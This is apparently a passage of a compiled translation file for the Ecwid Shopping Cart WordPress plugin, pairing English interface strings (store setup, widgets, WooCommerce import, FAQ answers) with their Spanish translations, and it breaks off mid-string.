when selling online with Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">More details.</a>�Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up.�Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href="%s">TemplateMonster themes</a>�Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">More details.</a>�Ecwid shopping cart�Ecwid shopping cart widget�Edit�Edit Appearance�Edit Category�Edit Product�Edit Store�Edit URL Slug�Edit page�Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page.�Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space.�Enter your Store ID�Enter your Store ID here:�Extensions for your Store�Feature a specific store category on a separate page of your site.�Feature your products in the sidebar�Filters�Filters panel position�Find your Store ID�First Page�Frequently Asked Questions�Get %s mobile app�Go to Pages�Go to Your %s Products�Greetings!�Greetings! Your %s plugin is now active.�Grid�Grid view�Help�Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars.�Help customers find your store on the website.�Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products.�Here you can create the content that will be used within the module.�Here, we will help you uploading your product catalog to %s from another shopping cart or other sources.�Hide�Highlight products, categories, and other store pages by adding them to separate website pages.�Highlight your best sellers or new products in the website sidebar.�Horizontal indent�Horizontal thumbnails�How can I add a cart widget to my site sidebar?�How can I manage my store from a mobile device?�How can we help you?�How do I add store categories to the site menu?�How do I put my products in the sitemap?�How much does Ecwid cost?�How secure is this plugin? Is my store PCI DSS compliant?�How to add a single product with the add to bag button to the site pages?�How to set up a storefront on Facebook with Ecwid?�I already have an account, sign in�I couldn’t find a WordPress theme that goes well with %s�I found a better plugin�I have a problem using this plugin�I have a problem with my %s store�I use this WordPress theme: %s�Icon�Icon and item count�Icon, label and item count�Icon, label, item count and subtotal�Icon, label, item count, subtotal and link�If you have a moment, please let us know why you are deactivating:�Image and title on mouse over�Image feed�Image gallery layout�Image only�Import�Import Your Products From Woocommerce to %s�Import completed�Import completed. <a href="%s">Run again.</a>�Import creates new products and update the existing products with matching SKUs.�Import is in Progress�Import my products from WooCommerce�Import product catalog from WooCommerce�Import product catalog from other sources�Import products to your %s store�Import summary�Import your WooCommerce catalog to %s�Import your products from WooCommerce to %s�Import your products from Woocommerce to %s�Imported <b>%s</b> products�Importing %s of %s items�Insert�Insert into page�Instant site�Integration with search on your site�Is it possible to display my store on the site home page?�Is there a WordPress theme for Ecwid?�It's a temporary deactivation. Please do not ask me again.�Item count only�Justify�Knowledge Base�L�Label and item count�Landscape 3:2�Landscape 4:3�Last Page�Last update�Latest Products�Layout�Layout:�Learn more�Left�Light green cyan�Link color�Linked product�List�List view�Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL.�Luminous vivid amber�Luminous vivid orange�M�Make your store accessible from the site menu so your customers can easily find it.�Manage Sidebar�Manage Store on iPhone, iPad or Android�Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page.�Manage store�Manage storefront�Marketing�Mobile�My Account�My Profile�My Sales�Name�Navigation�Need help importing your products from WooCommerce to %s?�Never show this message again�Next Page�Next page�No Thanks�No border�Not synchronized yet�Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The "Show on store pages" and "Show when empty" options will apply to the cart widget on site when published�Nothing found for <span class="empty-page__term">"{{ data.term }}"</span>�Number of categories per row�Number of products per page�Number of products to show�On the left�On the right�Online Store�Online Store Apps�Online store�Open control panel�Open store dashboard�Options�Orders�Other�Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target="_blank" href="%s">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans.�Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">our customer support team</a>.�Page with that name already exists.�Pale cyan blue�Pale pink�Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>�Payment�Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers.�Pick Category�Pick Product�Picture�Pill�Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target="_blank">"Billing & Plans"</a></nobr> page in your Ecwid store control panel.�Please subscribe to a paid plan to get this feature.�Plugins for Ecwid�Portrait 2:3�Portrait 3:4�Position�Preview�Previous Page�Price�Price color�Product�Product Card Large�Product Card Small�Product List Appearance�Product Page Appearance�Product SKU�Product Search�Product Search Box�Product Search and filters�Product card text align�Product catalog will be shown automatically�Product page layout�Product price�Product quantity�Product sidebar content�Product thumbnail aspect ratio�Product thumbnail size�Product title�Products�Products are successfully synchronized. The product pages are up to date.�Products synchronized: %1$s out of %2$s�Promote your store�Provide access.�Provided by <a %s>%s</a>�Publish�Publish Store Page�Publish the page to use this option�Published�Quantity�Questions?�Random Product�Random Products�Rate %s at WordPress.org�Re-connect to Enable Control Panel�Recently Viewed Products�Recommendations for Your Online Store�Rectangle�Refresh categories list�Register at %s�Report a problem with the store�Reports�Right�S�SKU�Sales�Sales channels�Save�Save and connect your %s store to the site�Save changes�Search�Search and Filters�Search products�Search the Knowledge Base�See more�Select All�Select category�Selected Product�Selected category�Sell on Facebook�Send Message�Send a message to our support team�Send message failed�Set Up Your Store�Set manually�Set up your store�Settings�Setup�Shipping & Pickup�Shop�Shopping Cart�Shopping Cart (deprecated)�Shopping Cart Floating (deprecated)�Shopping Cart Icon�Shopping Cart Mini (deprecated)�Shopping Cart Widget�Show�Show additional image on hover�Show categories�Show customers that they can use a search and filters to find desired products faster.�Show description under the image�Show minicart�Show on all pages�Show on hover�Show on store pages�Show price inside the "Buy now" button�Show price inside the «Buy now» button�Show product card border�Show product thumbnails�Show search�Show when empty�Show your store on the home page�Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again.�Small icon�Small icon and item count�Some of the items could not be imported.�Sorry we're having technical difficulties.�Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: "The Wordpress function wp_remote_post() failed to connect a remote server because of some error: "%s". Seems like HTTP POST requests are disabled on this server". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>.�Square 1:1�Start Import�Status�Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store.�Still have questions about Ecwid? Let us know!�Store�Store Categories�Store Categories Menu�Store Category Page�Store Front Page�Store Home Page�Store ID�Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the "Dashboard" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration.�Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>.�Store Link Title�Store Navigation�Store Page�Store Page Link�Store Root Categories�Store appearance�Store elements�Store management�Store page content�Store page on your site�Store root category�Store with Categories Menu�Storefront�Subject�Submit & Deactivate�Switch to draft�Synchronize products�Table�Table view�Take a few simple steps to complete store setup�Take advantage of powerful apps and extensions designed to enhance your store.�Text�Text color�Thank you for choosing %s to build your online store�The block is hidden because you don't have categories in your store. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Add categories.</a>�The category that is shown by default on the Store Front Page�The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps.�The plugin doesn't support the feature I want�The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href="%s" target="_blank">adjust the cart icon appearance</a>.�The store is not visible on your site�The store top-level categories are automatically added to this drop-down menu�Themes for Ecwid�This import will copy your WooCommerce products and categories to your %s store.�This is a demo store. Create your store to see your store products here.�This will change the label of the module in the builder for easy identification.�Title�Title on image�Title only�Title or SKU�Title under image�Title:�To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings.�To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>.�To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>�To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the "Add product" dialog.�To create sitemap for your Wordpress site we suggest using <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> or <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target="_blank" href="https://www.ecwid.com/pricing">paid Ecwid users</a>.�To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission.�To enable this feature, the plugin needs a permission to read your store product information.�To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">How to use it.</a>�To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>�To manage your store, go to <a %s>the Store Dashboard page</a>�To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission.�To show your storefront instead of the demo store, connect your existing %s account or create a new one.�To start selling, add a page to your site where the storefront will display.�Top left�Top right�Try another search.�Type in your message here�URL Slug�Update�Update your catalog�Upgrade to get this feature�Vertical indent�Vertical thumbnails�Very dark gray�Very light gray�View Store Page�View demo store page�View store page�Visit storefront�Vivid cyan blue�Vivid green cyan�Vivid red�Want to connect another %s store?�Warning: some of your online store features are disabled. Please contact your hosting provider to resolve.�We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?�We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you.�We're synchronizing your products. This may take a few minutes. Please do not reload the page.�Website�What feature do you need?�What was wrong?�What's next?�While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site.�Wholesale prices�You can add product search box, cart widget and more on the <a href="%s">"Appearance / Widgets page"</a> here in your site admin. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">More details.</a>�You can add the entire storefront, categories, products, or "Buy now" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block.�You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open "Appearance > Menus" in your WordPress control panel and add the "Store with Categories Menu" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site.�You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">More details.</a>�You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel.�You can display your store on the site main page. Adjust the "Reading" settings of your site as described in our <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">Help Center.</a>�You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href="%1$s">Appearance → Customize → %2$s</a>†menu to enable it.�You can enable filters in the store settings: (“<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Settings → Product Filters</a>â€).�You can send a new request here.�You have not viewed any product yet. Open store.�You will be able to sign up through your existing Google, Facebook or PayPal profiles as well.�Your %s store has �Your %s store is connected<br /> to your WordPress website�Your %s store is now connected<br /> to your WordPress website�Your Storefront�Your WooCommerce store has �Your email has been sent�Your product�Your store Control Panel. Right here in WordPress.�Your store has been created. Preparing your store dashboard ...�Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar.�Your store is almost ready!�Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display.�Your store page�Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders.�Your store page is published. Customers can browse your store at �Your store will be shown here�Your store will be shown here!�Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data.�[%s] WordPress plugin deactivation feedback (store ID: %s)�customize appearance�gutenberg-product-blockContent�gutenberg-store-block-stubStore�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�or <a %s>Browse the Help Center�product-browser-attributesProduct SKU�product-browser-attributesProduct price�select product�selected product�vc-tabOnline store�«Buy now» button�PO-Revision-Date: 2020-10-12 12:46 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 2.4.1 Language: es Project-Id-Version: temporary-strings X-Crowdin-Project: temporary-strings X-Crowdin-Project-ID: 295314 X-Crowdin-Language: es-ES X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po X-Crowdin-File-ID: 988 Language-Team: Spanish Last-Translator: � Elegir otro producto� ¡Muchas gracias por ponerse en contacto con nosotros! Nos pondremos en contacto con usted en breve.�Etiqueta de productos «En existencia»�%s�Blog de %s�Carrito de compras de %s�Tienda de %s�Página de la tienda de %s�El complemento %s no funciona bien con mi tema «%s»�%s producto�%s productos�%s productos y %s categorías�%s productos y categorías�Configuraciones del carrito de compras de %s�%s almacena los datos de sus productos de forma segura en la nube. Las páginas de productos se muestran sobre la marcha cuando un cliente navega por su tienda. Por lo que, básicamente, los productos no se almacenan en el sitio web, por eso la búsqueda en el sitio web no encuentra páginas de productos mientras busca en las páginas del sitio web y en las publicaciones. Esta opción habilita un modo de almacenamiento local: los productos se almacenarán tanto en la nube como en su sitio web. Los resultados de la búsqueda en el sitio web incluirán las páginas de productos, así como las páginas o publicaciones habituales de su sitio web.�%s — Configuración avanzada�(podrá confirmar los cambios antes de la importación definitiva)�2 columnas, imagen a la izquierda�2 columnas, imagen a la derecha�3 columnas, imagen a la izquierda�3 columnas, imagen a la derecha�<a %s>Tienda en línea con tecnología de %s</a>�<a %s>Volver a conectar</a>�<a href="admin.php?page=�<b>%s</b> categorías�Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos».�Acción requerida: conecte su cuenta de %s�Añadir producto�Añadir tienda�Añadir la página de la tienda al menú�Añadir una página de categoría�Añadir página de productos�Añadir una página de búsqueda y filtros�Añadir una página de tienda�Añadir una tienda en línea a su sitio web�Añadir borde�Añadir carrito y página de pago�Añadir categorías�Añadir la página de la tienda al menú del sitio web�Añadir escaparate virtual (listado de productos)�Añadir al menú�Añada su tienda de %s al sitio web y comience a vender en minutos.�Añada su tienda a otras páginas del sitio web�Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href="%s" target="_blank">Configuración de WordPress > Lectura</a>.�Páginas adicionales de la tienda�Además, puede añadir controles de la tienda a la barra de herramientas de su sitio web mediante <a %s>«widgets» nativos de WordPress</a>.�Añade un «widget» de carrito para que el cliente vea los productos que se han añadido al carrito.�Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito.�Añada un «widget» de carrito de compras en la esquina superior derecha de su sitio web.�Añade la lista de categorías raíz a la barra lateral para que sus clientes puedan desplazarse por la tienda.�Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda.�Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio.�Etiqueta de administrador�Avanzado�Configuraciones avanzadas�Después de la importación, su tienda de %s tendrá �Todos los canales de venta�Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda.�Apariencia�Aplicaciones�Cantidad disponible en existencia�Regresar a la configuración de la tienda�Color del fondo�Bolsa�Cesta�Antes de que se vaya�Borde�Borde:�Abajo a la izquierda�Abajo a la derecha�Migas de pan�Explorar todos los productos.�Buscar por categoría�Importar en masa productos y categorías a su tienda de %s�Color del botón�Comprar ahora�Botón «Comprar ahora»�Botones de «Comprar ahora»�Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>.�Clase CSS�ID de CSS�¿Podría compartir el nombre del complemento que ha elegido?�¿Podría compartir su opinión? ¿Qué fue lo que pasó?�Cancelar�Carrito�Carrito y pago�Icono del carrito de compras�Icono del carrito:�Catálogo�Categorías�Categoría�Apariencia de la lista de categorías�Diseño de la ficha de categoría�Categoría mostrada por defecto�Relación de aspecto de la miniatura de la categoría�Tamaño de la miniatura de la categoría�Centrado�Centrar la alineación en una página�Cambiar�Cambiar el contenido de la tienda�Elegir producto�Elegir producto�Elija las propiedades del producto para mostrarlas en el «widget»�Elegir la página principal de la tienda�Elija los «widgets» a mostrar�Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos�Configuración de colores�Completar configuración�Complete la configuración y comience a vender�Configuración�¡Enhorabuena!�Conectar�Conecte su tienda�Conecte su tienda de %s�Conecte su tienda�Error de conexión: después de hacer clic en el botón, debe iniciar sesión y otorgar los permisos para poder utilizar nuestro complemento. Inténtelo de nuevo.�Ponerse en contacto con la asistencia�Póngase en contacto con nosotros�Contenido�Copia de productos y categorías.�Crear página del carrito�Crear página de categorías�Crear página de productos�Crear página de búsqueda�Crear tienda�Crear la página de la tienda�Cree una página de aterrizaje con uno de sus productos.�Cree una nueva cuenta de %s que utilizará para gestionar su tienda e inventario. El registro es gratuito.�Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web.�Crear una nueva cuenta�Crear tienda�Página actual�«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>�Inicio de sesión único del cliente�Clientes�Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes.�Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago.�Personalizar el diseño�Personalizar la apariencia de la tienda�Personalizar la dirección de la página de la tienda�Personalizar «widget»�Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca.�Gris cian azulado�Panel�Categoría predeterminada�ID de categoría predeterminada�ID del producto predeterminado�Modo de vista predeterminado en las páginas de productos�Modo de vista predeterminado en los resultados de búsqueda�Productos eliminados sincronizados: %1$s de %2$s�Tienda de demostración�Tienda de demostración�Diseño�Diseño y contenido�Detectar automáticamente�Desconectar tienda�Mostrar un botón de compra�Mostrar migas de pan�Mostrar icono del carrito�Mostrar el menú de categorías�Mostrar la barra de navegación de las categorías�Mostrar la página de categorías�Mostrar el menú del pie de página�Mostrar la página de productos con la descripción y un botón de compra�Mostrar el producto con un botón de compra�Mostrar el cuadro de búsqueda�Mostrar página de búsqueda con los filtros a un lado�Mostrar enlace y resumen de la bolsa de compras�Mostrar el carrito de compras�Mostrar el carrito de compras y la página de pago�Mostrar el enlace de inicio de sesión�Mostrar «ordenar por enlace»�Muestre el icono del carrito de compras en las páginas del sitio web�Producto mostrado�Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web.�Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda.�Muestra una lista de productos aleatorios.�Muestra un producto aleatorio de su tienda para atraer la atención del cliente.�Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda.�Muestra el escaparate virtual: listado de productos y pago�Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas.�No mostrar�¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid.�¿Le gusta su tienda de %s en línea? Apreciaríamos si comparte su opinión y vota por el complemento en el sitio de WordPress.�Hecho�Descargar <a href="%s">registro de importación</a>�Descargar archivo de registro�Borrador�Por ejemplo, cómo establecer el envío�Distintivo de Ecwid�Comercio electrónico Ecwid�Carrito de compras del comercio electrónico de Ecwid�Elemento del menú de Ecwid�Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid�«Widget» de comercio electrónico de Ecwid�Solución de comercio electrónico de Ecwid�Carrito de compras gratuito de Ecwid�Ecwid cuenta con la certificación PCI DSS Nivel 1, que es el estándar de oro para las soluciones de comercio electrónico en todo el mundo. Esto significa que no tendrá problemas de cumplimiento bancario cuando venda en línea con Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">Más detalles.</a>�Ecwid es un carrito de compras gratuito con todas las funciones. Se puede integrar fácilmente con cualquier blog de Wordpress y se configura en menos de 5 minutos.�Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href="%s">temas de TemplateMonster</a>.�Ecwid ofrece aplicaciones móviles gratuitas para iOS y Android para que pueda gestionar su tienda y vender donde y cuando quiera. Escanee productos, supervise el inventario, gestione las ventas y acepte pagos utilizando su dispositivo móvil como una estación de punto de venta. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">Más detalles.</a>�Carrito de compras de Ecwid�«Widget» de carrito de compras de Ecwid�Editar�Editar apariencia�Editar categoría�Editar producto�Editar tienda�Editar «slug» de la dirección URL�Editar página�Introduzca un ID de CSS opcional que se utilizará para este módulo. Se puede utilizar un ID para crear un estilo CSS personalizado o para crear enlaces a secciones particulares de su página web.�Introduzca las clases CSS opcionales que se utilizarán para este módulo. Se puede utilizar una clase CSS para crear estilos CSS personalizados. Puede añadir varias clases separadas por un espacio.�Introduzca el ID de su tienda�Introduzca el ID de su tienda aquí:�Extensiones para su tienda�Destacar una categoría de la tienda específica en una página separada de su sitio web.�Destaque sus productos en la barra lateral�Filtros�Posición del panel de filtros�Encuentre el ID de su tienda�Primera página�Preguntas frecuentes�Descargue la aplicación móvil de %s�Ir a «Páginas»�Ir a sus productos de %s�¡Saludos!�¡Enhorabuena! Su complemento de %s ya está activo.�Cuadrícula�Vista de cuadrícula�Ayuda�Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales.�Ayude a los clientes a encontrar su tienda en el sitio web.�Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos.�Aquí puede crear el contenido que se utilizará dentro del módulo.�Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes.�Ocultar�Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas.�Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web.�Sangría horizontal�Miniaturas horizontales�¿Cómo puedo añadir un «widget» de carrito de compras a la barra lateral de mi sitio web?�¿Cómo puedo gestionar mi tienda desde un dispositivo móvil?�¿Cómo podemos ayudarle?�¿Cómo puedo añadir categorías de tiendas al menú del sitio web?�¿Cómo pongo mis productos en el mapa del sitio?�¿Cuánto cuesta Ecwid?�¿Qué tan seguro es este complemento? ¿Mi tienda cumple con el PCI DSS?�¿Cómo añadir un solo producto con el botón de «añadir a la bolsa» en las páginas del sitio web?�¿Cómo crear una tienda en Facebook con Ecwid?�Ya tengo una cuenta, iniciar sesión�No pude encontrar un tema de WordPress adecuado para %s�Encontré un mejor complemento�Tengo un problema con el uso de este complemento�Tengo un problema con mi tienda de %s�Utilizo este tema de WordPress: %s�Icono�Icono y total de artículos�Icono, etiqueta y total de artículos�Icono, etiqueta, total de artículos y subtotal�Icono, etiqueta, total de artículos, subtotal y enlace�Si tiene un momento, háganos saber por qué está desactivando:�Imagen y título al pasar el ratón por encima�Canal de imagen�Diseño de la galería de imágenes�Solo imagen�Importar�Importe sus productos de Woocommerce a %s�Importación completada�Importación completada. <a href="%s">Ejecútela de nuevo.</a>�La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes.�La importación está en progreso�Importar mis productos de WooCommerce�Importar el catálogo de productos de WooCommerce�Importar el catálogo de productos de otras fuentes�Importe los productos a su tienda de %s�Resumen de la importación�Importe su catálogo de WooCommerce a %s�Importe sus productos de WooCommerce a %s�Importe sus productos de Woocommerce a %s�<b>%s</b> productos importados�Importando %s de %s artículos�Insertar�Insertar en la página�Sitio web instantáneo�Integración con la búsqueda en su sitio web�¿Es posible mostrar mi tienda en la página de inicio del sitio web?�¿Existe algún tema de WordPress para Ecwid?�Es una desactivación temporal. No preguntarme de nuevo.�Solo el total de artículos�Justificado�Base de conocimiento�G�Etiqueta y y total de artículos�Horizontal 3:2�Horizontal 4:3�Última página�Última actualización�Últimos productos�Diseño�Diseño:�Más información�Izquierda�Cian verde claro�Color del enlace�Producto vinculado�Lista�Vista de lista�Parece que su sitio web no admite solicitudes POST remotas, las cuales son necesarias para que la API de %s funcione. Comuníquese con su proveedor de alojamiento web para habilitar cURL.�Ãmbar vívido y brillante�Naranja vívido y brillante�M�Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente.�Gestionar la barra lateral�Gestione la tienda desde iPhone, iPad o Android�Gestione productos, supervise las ventas y ajuste la configuración: <nobr>todo sin</nobr> salir de esta página.�Gestionar la tienda�Gestionar escaparate virtual�Mercadotecnia�Móvil�Mi cuenta�Mi perfil�Mis ventas�Nombre�Navegación�¿Necesita ayuda para importar sus productos de WooCommerce a %s?�Nunca mostrar este mensaje otra vez�Página siguiente�Página siguiente�No, gracias�Sin borde�No se ha sincronizado todavía�Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen�No se ha encontrado nada en relación con <span class="empty-page__term">«{{ data.term }}»</span>�Número de categorías por fila�Número de productos por página�Número de productos para mostrar�A la izquierda�A la derecha�Tienda en línea�Aplicaciones de la tienda en línea�Tienda en línea�Abrir el panel de control�Abrir el panel de la tienda�Opciones�Pedidos�Otro�Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target="_blank" href="%s">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales.�Nuestro equipo ya está trabajando en este asunto. Actualice la página en unos minutos. Si el problema persiste, comuníquese con <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">nuestro equipo de atención al cliente</a>.�Ya existe una página con ese nombre.�Azul cian pálido�Rosa pálido�Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>�Pago�Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes.�Elegir una categoría�Elegir un producto�Imagen�Píldora�Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target="_blank">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid.�Suscríbase a un plan de pago para obtener esta función.�Complementos para Ecwid�Vertical 2:3�Vertical 3:4�Posición�Vista previa�Página anterior�Precio�Color del precio�Producto�Ficha de producto ampliada�Ficha de producto reducida�Apariencia de la lista de productos�Apariencia de la página del producto�REF del producto�Búsqueda de productos�Cuadro de búsqueda de productos�Búsqueda de productos y filtros�El texto de la ficha del producto se alinea�El catálogo de productos se mostrará automáticamente�Diseño de la página de productos�Precio del producto�Cantidad de productos�Contenido de la barra lateral de productos�Relación de aspecto de la miniatura del producto�Tamaño de la miniatura del producto�Título del 